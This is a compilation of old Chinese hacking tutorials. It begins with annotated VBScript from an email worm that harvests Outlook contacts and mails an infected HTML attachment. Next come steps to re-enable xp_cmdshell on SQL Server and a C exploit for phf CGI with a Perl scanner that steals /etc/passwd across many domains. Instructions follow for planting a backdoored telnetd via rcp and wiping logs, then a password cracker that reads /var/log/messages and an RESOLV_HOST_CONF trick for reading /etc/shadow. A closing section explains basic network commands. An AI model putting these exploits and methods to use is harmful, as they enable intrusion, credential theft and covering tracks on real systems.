For Each d In dc
‘遍历每个驱动器
  If d.DriveType = 2 Or d.DriveType = 3 Then
‘如果是网络盘或本地盘
    If T Then
      Dnext = d
      Exit Function
‘如果是False，就返回当前盘，并退出本函数
    Else
      If LCase(S) = LCase(d) Then
‘如果是True且盘符相同，就令T为True
        T = True
      End If
      If m = "" Then
‘如果m为空，就将盘符付给m
        m = d
      End If
    End If
  End If
Next
Dnext = m
‘返回盘符
End Function

‘******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
‘返回该文件扩展名的小写
GetExt = Od.Item(fext)
‘返回Dictionary对象中指定的key对应的item——即0001(exe)等
End Function

‘******************************************************************
Sub Rw(k, v)
‘写注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Sh*ll ")
‘创建对象
R.RegWrite k, v
End Sub

‘******************************************************************
Function Rg(v)
‘读注册表
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Sh*ll ")
‘创建对象
Rg = R.RegRead(v)
End Function

‘******************************************************************
Function IsVbs()
‘此函数判断是不是VBS文件
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
‘如果出错，则不是VBS
  IsVbs = False
Else
  IsVbs = True
End If
End Function

‘******************************************************************
Function IsHTML()
‘此函数判断是不是Html文件
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
  IsHTML = False
‘如果出错，则不是超文本
Else
  IsHTML = True
End If
End Function

‘******************************************************************
Function IsMail(S)
‘此函数判断是不是邮件地址
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
‘返回vbCrLf在S中第一次出现的位置, vbCrLf是换行符
  m1 = InStr(S, "@")
  m2 = InStr(S, ".")
  If m1 <> 0 And m1 < m2 Then
‘如果有“@”符号且“@”在“."之前，则是邮件地址
    IsMail = True
  End If
End If
End Function

‘******************************************************************
Function Gsf()
‘得到windows目录
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
‘创建FileSystemObject对象
m = Of.GetSpecialFolder(0)
‘得到特殊目录——Windows、System和Temp目录
If Er Then
‘如果失败，返回C:\
  Gsf = "C:\"
Else
‘若正常，则返回%Windows%
  Gsf = m
End If
End Function

‘******************************************************************
Function Lhtml()
‘写入超文本的内容，其中vbCrLf是换行符
Lhtml = "<" & "HTML" & ">"<" & "Title> Help "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body>End Function

‘******************************************************************
Function Lscript(S)
‘写入vbscript的声明
Lscript = "<" & "script language=‘VBScript‘>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function

‘******************************************************************
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
‘得到文件流的长度
l2 = Len(S2)
‘得到mailto:的长度
i = InStr(S1, S2)
‘在文件流中查找mailto:第一次出现的位置——值为一个数
If i > 0 Then
‘找到则进行字符串操作
  l3 = i + l2 - 1
  If n = 0 Then
    Sl = Left(S1, i - 1)
  ElseIf n = 1 Then
    Sl = Right(S1, l1 - l3)
  End If
Else
Sl = ""
End If
End Function

‘******************************************************************
Function Og()
‘得到WAB（通讯簿）中的邮件地址
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
‘创建Outlook应用程序对象，Outlook和Outlook Express都跑不掉啦！
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
  m(i - 1) = Om.Item(i).Email1Address
得到每个WAB中的邮件地址
Next
Og = m
End Function

‘******************************************************************
Sub Tsend()
‘发带毒邮件
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
  MM.MsgIndex = i
  a = MM.MsgOrigAddress
  If Od.Item(a) = "" Then
    Od.Item(a) = MM.MsgSubject
  End If
Next
For Each m In Od.Keys
  MM.Compose
  MM.MsgSubject = "Fw: " & Od.Item(m)
‘设置邮件标题
  MM.RecipAddress = m
‘此邮件的当前的目标邮件地址
  MM.AttachmentPathName = Gsf & "\Untitled.htm"
‘添加附件Windows\Untitled.htm
  MM.Send
‘发送！
Next
MS.SignOff
End Sub

‘******************************************************************
Function Er()
‘设置的错误陷阱，避免程序崩溃，严谨的风格值得学习
If Err.Number = 0 Then
  Er = False
Else
  Err.Clear
  Er = True
End If
End Function

‘******************************************************************
Function IsDel(S)
‘此函数查看当前文件是否是要删除的文件类型
If Mid(S, 4, 1) = 1 Then
‘看S的第四个字符是否是1——即是0001(exe和dll)
IsDel = True
‘如是，返回True，以备删除
Else
IsDel = False
‘如不是，返回False
End If
End Function
‘******************************************************************


恢复SA的xp_cmdshell权限

前段时间在www.sandflee.net看到一篇如何去掉ms sql的xp-cmdshell扩展存储过程，即使得到SA的密码也不能执行NET命令的文章，文中使用了这样一句命令来去掉xp-cmdshell扩展存储过程，如下：

if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

执行以后，我用SqlExec.exe(强烈推荐)连接上，结果如下：

显示错误，不能执行命令了。好象去掉xp_cmdshell，即使知道sa密码，也没用了？！不过既然可以删除，当然可以恢复，如果你的sa密码太简单，（sql 7.0通常是空密码，sql 2k 弱智密码）那你的爱机变肉鸡的日子，也为期不远了 *^_^*。

如何恢复喃，在SqlExec.exe的format里选着%s，在cmd里输入:sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

执行一下，没任何反映。(以上是用的sql 2k ,要是sql 7.0的话，要换成sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',没有测试，不知道对不对了？)

改变一下执行方式，用xp_cmdshell %s ，cmd里为：dir c:\

呵~~，又可以了，好耍！再来，format里选%s，cmd里:sp_dropextendedproc 'xp_cmdshell'

在来执行命令看看，

又不能用了，出错了。真的好耍~！

    困死了。ZZZZZZZ..............

沉睡不醒 2002/07/19
http://sss444.126.com
e-mail:leiliao00000@sina.com
禁止商业用途的转载


获取passwd密码档

本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个
有效帐号；但也有不需帐号也可访问系统的方法。在这里你还能知道完整的密码档与
shadow密码档的区别，并学习到如何读取shadow密码档。

PHF：WWW的PH查询

如果在WWW的cgi-bin的目录下有一个名为phf的可执行（具有x权限）程序，那么你就可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件，如/etc/passwd等，并保存在本地机上。

以下是我们所需要做的。如果httpd服务器是由root根用户运行的，通过使用phf，我们可以成为该服务器的root用户；甚至修改服务器上某个用户的密码。

这里有一个perl脚本，它对使用上一章中的getdomain.pl脚本所得到的结果进行检测，并检查运行服务器的用户。如果是root用户，它就记录其id；如果不是root用户，则会自动从/etc目录下读取passwd档，并保存为domain.???.passwd文件。

我还会给出另一个脚本，它允许你从一个shell中运行一条命令。只要该系统有phf，你就可以在shell中输入一命令行，通过管道命令传送到远程系统上执行。

OK。现在你该知道下一步是什么了？让我们来学习如何利用phf。

把你最喜爱的web浏览器或是UNIX系统中经常使用的lynx文本浏览器连接到网络上。

在浏览器窗口或屏幕出现后，键入g（译者注：即使用浏览器的“go”功能）。便会出现以下内容（译者注：以lynx为例）：

URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

在URL to open: 处输入：http://xxx.org/cgi-bin/phf/?Qalias=x%0aid

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

返回如下内容：

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

以上内容表明：运行服务器的用户是nobody。因此，我们便成为了该服务器的nobody用户。虽然我们还不是root用户，但必将是。 ;-)

命令行：

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

id是一个命令，它要求服务器返回用户的id。有时我们需要给出全路径，比如：http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

注意%0a后面是命令行内容。如果你想输入一个空格符，就要用%20代替，以下是经常要用到的几个命令行：（以%0a开始）

显示passwd密码档：
%0a/bin/cat%20/etc/passwd

获取/etc目录下所有以pass开始的详细文件列表：
%0als%20-al%20/etc/pass*

如果你有访问http的root用户权限，备份passwd文件为passwd.my文件：
%0acp%20/etc/passwd%20/etc/passwd.my

更改root用户密码（服务器往往会允许你这样做 ;-) ）：
%0apasswd%20root

（以上命令可以让你在以root用户登录时不需输入密码，（译者注：也就是更改root用户的密码为空，然后再telnet该主机。）别忘了将passwd.my恢复为passwd（译者注：恢复root用户的旧密码），删除备份文件，然后你就可以运行一个合适的shell，并将其隐藏起来作为嗅探器（sniffer)来获取所需的密码了。）

只要你知道如何在UNIX中输入命令，同时没有忘记使用%20来代替空格符，你就不会遇到什么困难！

OK。现在让我们来获取本例中的passwd档吧。;-)

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

我们将会看到：

QUERY RESULTS

/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0perator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12ostmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

（一个小小的密码档 ;-) ）

如果你希望保存这个文件，只要在文本浏览器中选择“打印”和“保存
为文件”即可。

现在让我们了解一下paaswd档的结构：

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7

1=用户名 2=被加密的密码 3=用户标识 4=用户组id 5=真实名字
6=用户根目录 7=shell

好。假设你不想使用WWW浏览器，编译并执行以下脚本也可以达到目的：

phf.c
------ cut here----

/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;

if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, "%20"); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
++i;
}

strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname)
    == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM,
    0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}

if (connect(s, (struct sockaddr *)&sin,
    sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n",
    command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}

-------- cut here

使用举例：

bash% phf id xxx.org

------
<H1>Query Results</H1>
<P>
/usr/local/bin/ph -m alias=X
id
<PRE>
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X%0aid
------

以上是系统对程序的响应。再说一次，使用%20代替命令行中的空格符。
使用如下格式可显示passwd档：

phf cat%20/etc/passwd hostname.xxx

另外，Quantumg在他的主页上提供了利用phf的新方法，我觉得有必要让大家
了解一下。

内容如下：

--------------------------------------------------------------------------------

Phf 查询攻击新方法

是的。我知道phf攻击已经是众所周知了，但你会奇怪为什么还有那么多笨的
LINUX用户。。。

首先...先介绍一下背景：

phf是Apache上WWW服务器的cgi-bin命令。它存在缺陷，其后果是允许任何人以运行
http服务器用户的身份执行命令。通常该用户是nobody，但有时是root。要利用这一
缺陷，只需简单地连接了该WEB服务器，并执行以下查询：

GET /cgi-bin/phf/?Qalias=X%0a

其后跟着你所希望运行的命令（用%20代替空格符）。

OK。以下是攻击方法。我们所要做的就是寻找存在phf漏洞的LINUX服务器。（我
经常telnet到issue.net查找。）和大多数人一样，我使用Loxsmith编写的phf程序。
该程序要求把目标主机名放在第二个参数，而所要执行的命令放在第一个参数：

phf id http://www.host.to.hack/

这里id就是所要执行的命令，这往往是我第一步都会做的。因为它不仅告诉你此
系统是不存在此漏洞，还可以提供httpd用户的信息。因此，如果我们得到一个理想
的响应，那就意味它就是我们的目标了。第一件事是获取目标主机上的有用资料，
这并不是一件难事。你可以 （1）、检查是否有可读写的ftp目录；（2）使用rcp
（这是我最喜欢用的）。为了使用这个命令，你需要对本地主机进行设置。（如果
本地主机是你hack过的，那就好办多了。）首先是获得有效的用户帐号，名字应该
简单而不易被注意（如：test）；其次，把目标主机名写入本地主机的/etc/host.equiv
中；接着就是在/etc/inetd.conf中必须有shell行；最后，在用户（test）根目录下建立
含有目标主机名和httpd用户的.rhost文件。如下：

/etc/hosts.equiv:
www.host.to.hack

/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L

~test/.rhosts:
www.host.to.hack nobody

好。一旦一切都设置好了，便可以从远程主机上获取资料了。

我以前采用的hack方法，都是将经过多次修改的小hack代码传送给phf执行。
这并是一件轻松的事情，而且效率也不高。现在我找到了一个更好的解决办法
被传送的是一个经过修改的in.telnetd，它被改为在“debug”方式下启动，“debug”
方式将允许从端口9999登录，而且执行的shell是/bin/sh，而不是/bin/login。
该in.telnetd允许在端口9999接受任意多的连接和执行shell。

因而，为了使远程主机做到这一点，所要做的就是将其放入用户根目录，
并确保可读。然后执行：

phf 'rcp test@my.ip.address:bindwarez /tmp' http://www.host.to.hack/

在本地日志文件中，你会看到一个与in.rshd的连接和它所执行的命令（如：
rcp -f bindwarez）...当phf执行完后，bindwarez会被复制到远程主机上的/tmp
目录下，于是你便可以执行这个文件并远程登录到端口9999。

如果这个网站的用户笨到以root运行http，你就可以通过安装一个in.telnetd
特洛木马并清除日志，以获得root用户的密码。然而，在大多数情况下，你只能
获得nobody权限，需要通过系统的其它漏洞去“黑”root用户。我常常发现这并不
困难，因为系统管理员往往认为没有人会在WWW服务器上运行shell，因而没有必要
设置安全系统。很显示，他们并不了解自己的系统是否存在phf缺陷。

在这里，我不必再次强调清除日志的重要性。你在rcp命令中输入的地址是可以让
系统管理员轻易发现的。这些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最简单的方法是在这些路径上查找它。如果找不到，可以执行find / -name cgi-bin。
另外，不要忘记清除indwarez进程和删除/tmp/bindwarez文件。

这个非常巧妙的攻击方法让phf做你想做的事，而phf对此却无可奈何。 ;-))

L8s

QuantumG

另一个利用phf的方法就是执行以下脚本。它使用了从rs.internic.net下载并用
getdomain.pl分析出的域名文件。geturl.pl脚本可以探测网络上的每一台domain。

脚本内容如下：

geturl.pl
--------- cut here

#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.

# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);

# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);

# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = <FILE>;
close(FILE);

# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");

my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id `;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("$_\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
    `;

# Output results to file named <domain>.passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("$_\n");
}
close(PASSWDFILE);
print ("Done! [$domainfilename].\n");
} else {
print ("FAILED! [$domainfilename].\n");
}
}
}
}

# We are done. Close the output file and end the program.
close (OUTFILE);

0;

------------- cut here

OK。这很简单吧。如果你定义了自己的域名文件urls，也可以使用geturl.pl。

以下是脚本文件说明：

这个轻巧的工具非常容易使用。它可以帮助你取得root用户权限和从不同的
domain获取passwd密码档。

geturl.pl试图记录Internet上每台domain对phf的响应结果。你可以选择.com .edu
.org .mil .gov或是需要探测的IP地址列表。一旦发现具有root权限的用户，便在结果
文件中记录uid=root，然后继续探测下一台domain。如果phf探测器找到的用户没有
root权限，它就会读取该domain上的passwd密码档，并在当前目录下以domain.???.passwd
文件名保存。

以下是此工具的使用说明：

ftp到rs.internic.net站点

在domain目录下寻找：

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

下载这些文件并对目标主机所属域名文件运行getdomain.pl，如：

perl getdomain.pl com.zone com >com.all

该脚本会分析出.com域的所有主机名并输出到文件com.all中。

如果希望分析.edu域，输入：

perl getdomain.pl edu.zone edu >edu.all

你便会有一个供geturl.pl使用的文件edu.all。

使用geturl.pl的格式如下：

geturl.pl <filename>

用edu.all或com.all代替<filename>
如果你定义了域名文件urls，运行geturl.pl时不需<filename>。

运行结果被记录到当前目录下的GetURLResults文件中。

1. geturl.pl使用lynx进行搜索（lynx要在查找路径中）。

2. 如果geturl.pl发现在一个url的httpd上获得了root权限，就会记录该root用户。
如果http用户不是root，但该用户具有在http上执行phf权限，就会抓取该
domain的passwd档，并以fulldomainname.passwd的文件保存到当前目录下。

3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。

4. 我使用的是OS/2的lynx和perl，在长文件名方面没有遇到问题。我在UNIX机
进行了测试，该程序也可以正常工作。

你需要：

1. Perl在查找路径中
2. Lynx在查找路径中
3. 长文件名（256字符）支持（如UNIX或OS/2）
4. 本文所列出和包含的所有文件
5. 从Internic站点下载的域名文件或自行制作的url或IP列表文件（取名为urls，
运行时仅输入geturl.pl）

注意事项：

如果你有一个现金付费的互联网帐号或通过hack而得到的帐号使用此工具来获取
成果，那就最好了。然后便可以用另一个安全的帐号使用你的劳动成果了。但我并不
必警告你这些，对吧？我对这些工具并不觉得羞耻。这里提供的工具是让你们检查
domain的安全性。;-)

getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件
geturl.pl: 检测并记录每一台domain的响应结果
GetURLResults: geturl.pl程序的结果记录文件

这里还有另外一种方法：

如果你能读取/var/adm/messages文件，或许你能轻而易举地得到一些用户的密码！
我曾经采用这种方法获得过root用户的密码！

还记得有多少次你是急着登录的吗？你可能因此而在login:里输入了密码：这种
事情是很容易发生的。这样你就会出现两次登录失败，系统就在这个时候胡所动作了。
例如：（假设你很急着登录而没有留意屏幕）

Login: （你键入回车（而你此时并不知道））
Password: （你以为现在开始登录了，便输入用户名）
Login: （然后输入用户密码）

此时系统会在messages文件中产生如下记录：

Login: （这里是你的用户密码！！！）
Password ****** （系统当然不会给你看见密码了！？但由于你在Login:处输入了
用户密码，只要我们有读取messages文件的权限，就会得到用户密码，并供crackerjack
运行（以找出对应的用户）。如果是在一个小型系统，或许...就是root密码！;-))

以上这些工作可以由以下脚本轻易完成！

对于Quantum的bindwarez文件，你可以在附录中找到。

------------ cut here

#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
# <daveg@escape.com>
# http://www.escape.com/~daveg

echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$

grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$

if [ ! -e ./scrack ]
then
echo "Creating scrack.c"
cat << ! > scrack.c
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
#include <sys/types.h>
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
struct passwd *pwd;
FILE *fp;
char buff[80], salt[3], *encrypted_string;

if ( ( fp = fopen( argv[1], "r" )
    ) == NULL )
{
fprintf( stderr, "Couldnt find dict file\n" );
exit(1);
}
while ( fgets( buff, 80, fp ) != NULL )
{
setpwent();
buff[strlen(buff)-1]='\0';
while ( ( pwd = getpwent() ) != NULL )
{
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
( strlen( (*pwd).pw_passwd ) == 13 ) )
{
get_salt(salt, (*pwd).pw_passwd );

encrypted_string = crypt( buff, salt );
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
{
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
fflush(stdout);
}
}
}
}
}
!
echo "Creating scrack"
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi

./scrack /tmp/messages.dict.$$

echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.

------ cut here

--------------------------------------------------------------------------------

从新手处获取

好。重复一次，这是获取密码的另一种方法。只要按照第二章所谈到的相关
内容去做就行了。运用你的智慧去与那些尚未成熟的“新手”交朋友吧。;-)

对了。在阅读本手册前，你可能曾经也是别人的“新手”朋友呢！;-)

--------------------------------------------------------------------------------

获取shadow密码档

什么是shadow密码档呢？

举个例子，如果你利用上述方法取回来的passwd档，其内容如下：

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0perator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12ostmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

是不是少了点东西？噢，被加密的密码。如果你有root权限，就会在/etc/shadow中
找到这些被加密的密码。某些系统管理员会将shadow档隐藏到其他隐蔽的目录下。但
多数情况下，你可以在/etc目录下找到。有一些shadow程序会将密码保存到master.passwd
文件中。但只要你有root权限，总有地方可以找到它。

现在，假设你有一个有效帐号，但没有root权限。

如果主机使用的是libc5.4.7（多数系统都使用它 ;-) ），而且下列文件之一要求
必须有suid权限：

ping, traceroute, rlogin, or, ssh

1. 输入bash或sh以启动一个bash shell
2. 输入: export RESOLV_HOST_CONF=/etc/shadow
3. 输入以上文件名之一，并加上asdf参数，如：

ping asdf

如果一切正常，你就会得到shadow密码档。
这个方法对于我这几天在许多系统中进行的测试均很有效。

注：你可用所希望读取的文件名（文件拥有者是root）来取代/etc/shadow。

以下脚本可以让你轻而易举地读取所需要的文件：

rcb.c
-------- cut here

/* RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
*/

#include <stdio.h>

void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
system("ping xy 1> /dev/null 2> phrasing");
unsetenv("RESOLV_HOST_CONF");
}

void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
char *gag;
FILE *devel;

if((argc==1) || !(strcmp(argv[1],"-h"))
    || !(strcmp(argv[1],"--help")))
{ printf("RCB Phraser - junked by THERAPY\n\n");
printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
exit(1);
}
getjunk(argv[1]);
gag=buffer;
gag+=10;
devel=fopen("phrasing","rb");
while(!feof(devel))
{ fgets(buffer,sizeof(buffer),devel);
if(strlen(buffer)>24)
{ strcpy(buffer+strlen(buffer)-24,"\n");
fputs(gag,stdout);
}
}
fclose(devel);
remove("phrasing");
}

-------------- cut here

命令行：rcb /etc/shadow （或其他你在这个系统中不能读取的文件。;-) ）

--------------------------------------------------------------------------------

获取/etc/hosts档

需要注意的是，有时你需要知道有哪些系统在hosts文件中，或在这个系统中有哪些他domain和所有的IP地址，因此，不要忘了读取/etc/hosts文件以获得以后你可能需要的资料。


基础网络命令--给网络新手

网络安全较有关系的几个命令有：ping winipcfg tracert netat netstat

1. ping：这是TCP／IP协议中最有用的命令之一
它给另一个系统发送一系列的数据包，该系统本身又发回一个响应，这条实用程序对查找远程主机很有用，它返回的结果表示是否能到达主机，宿主机发送一个返回数据包需要多长时间。
Usage： ping ［-t］ ［-a］ ［-n count］ ［-l size］ ［-f］ ［-i TTL］ ［-v TOS］
［-r count］ ［-s count］ ［［-j host-list］ ［-k host-list］］
［-w timeout］ destination-list

Options：
-t Ping the specifed host until interrupted.（除非人为中止，否则一直ping下去）
-a Resolve addresses to hostnames.（把IP转为主机名）
-n count Number of echo requests to send.（响应请求的数量）
-l size Send buffer size.（封包的大小）
-f Set Don't Fragment flag in packet.（信息包中无碎片）
-i TTL Time To Live.（时间）
-v TOS Type Of Service.（服务类型）
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.（较严格的……唉，怎么译好……算了，放着吧）
-w timeout Timeout in milliseconds to wait for each reply.（timeout的时间）
比如大家可能都知道的一个命令 # ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令（当然这样只会造成我方自己的网络阻塞）。
其实这个命令主要是用来看对方应答的速度，如果怎么ping 得到的结果都是request time out。那恐怕你根本就不用你去找这台主机了，它不在你的射程之内。
2. winipcfg：
这是用来看自己IP位址的小工具，win98自带，NT里则网络监视器里就能看到IP了，还有个小实用程序叫……好象是叫IPCONFIG吧，没怎么用，都快忘了……这种东东网上其实相当之多，但既然“自带”，又何须外求，何况网上下载的黑客的东东里有没有特洛伊犹未可知，再说了，如果你不是在自己的“爱姬”上运行，岂不是就没法干活？——哈，不好意思，跑题了，但——接着跑两句：可以把一些常用的、经典的工具上传到网上，当作一个备份，什么时候在网吧、某家公司要干活的话，直接下载就是一个完整无缺的工具包了。
这个东东相当简单，直接在DOS下键入命令就是了，没有什么参数。
3. tracert：是验证通往远程主机路径的实用程序
用法： tracert ［-d］ ［-h maximum_hops］ ［-j host-list］ ［-w timeout］ target_name

参数：
-d Do not resolve addresses to hostnames.（不将IP转为主机名）
-h maximum_hops Maximum number of hops to search for target.（最大跟踪数量）
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.（time out 的时间）

最简单的用法就是 tracert hostname 其中hostname是计算机名或你想跟踪其路径的计算机的IP地址。TRACERT将返回数据包借以到达最终目的地的各种IP地址，你知道该怎么利用它吗？

我略为解释一下吧：跟踪通往210.142.192.130的路由，最大30：
第一行：*&^%&* 我就是从这里出去的（呵，真不想说^&^）
第四行：是不是快要出国了呢？
第九行：呀！这是日本鬼子的地盘……

4. net：这可是个非常棒的东西，如果不会用的话，赶紧睁大眼睛噢

这个命令的语法是： 可用的命令包括：
NET ACCOUNTS NET HELP NET SHARE
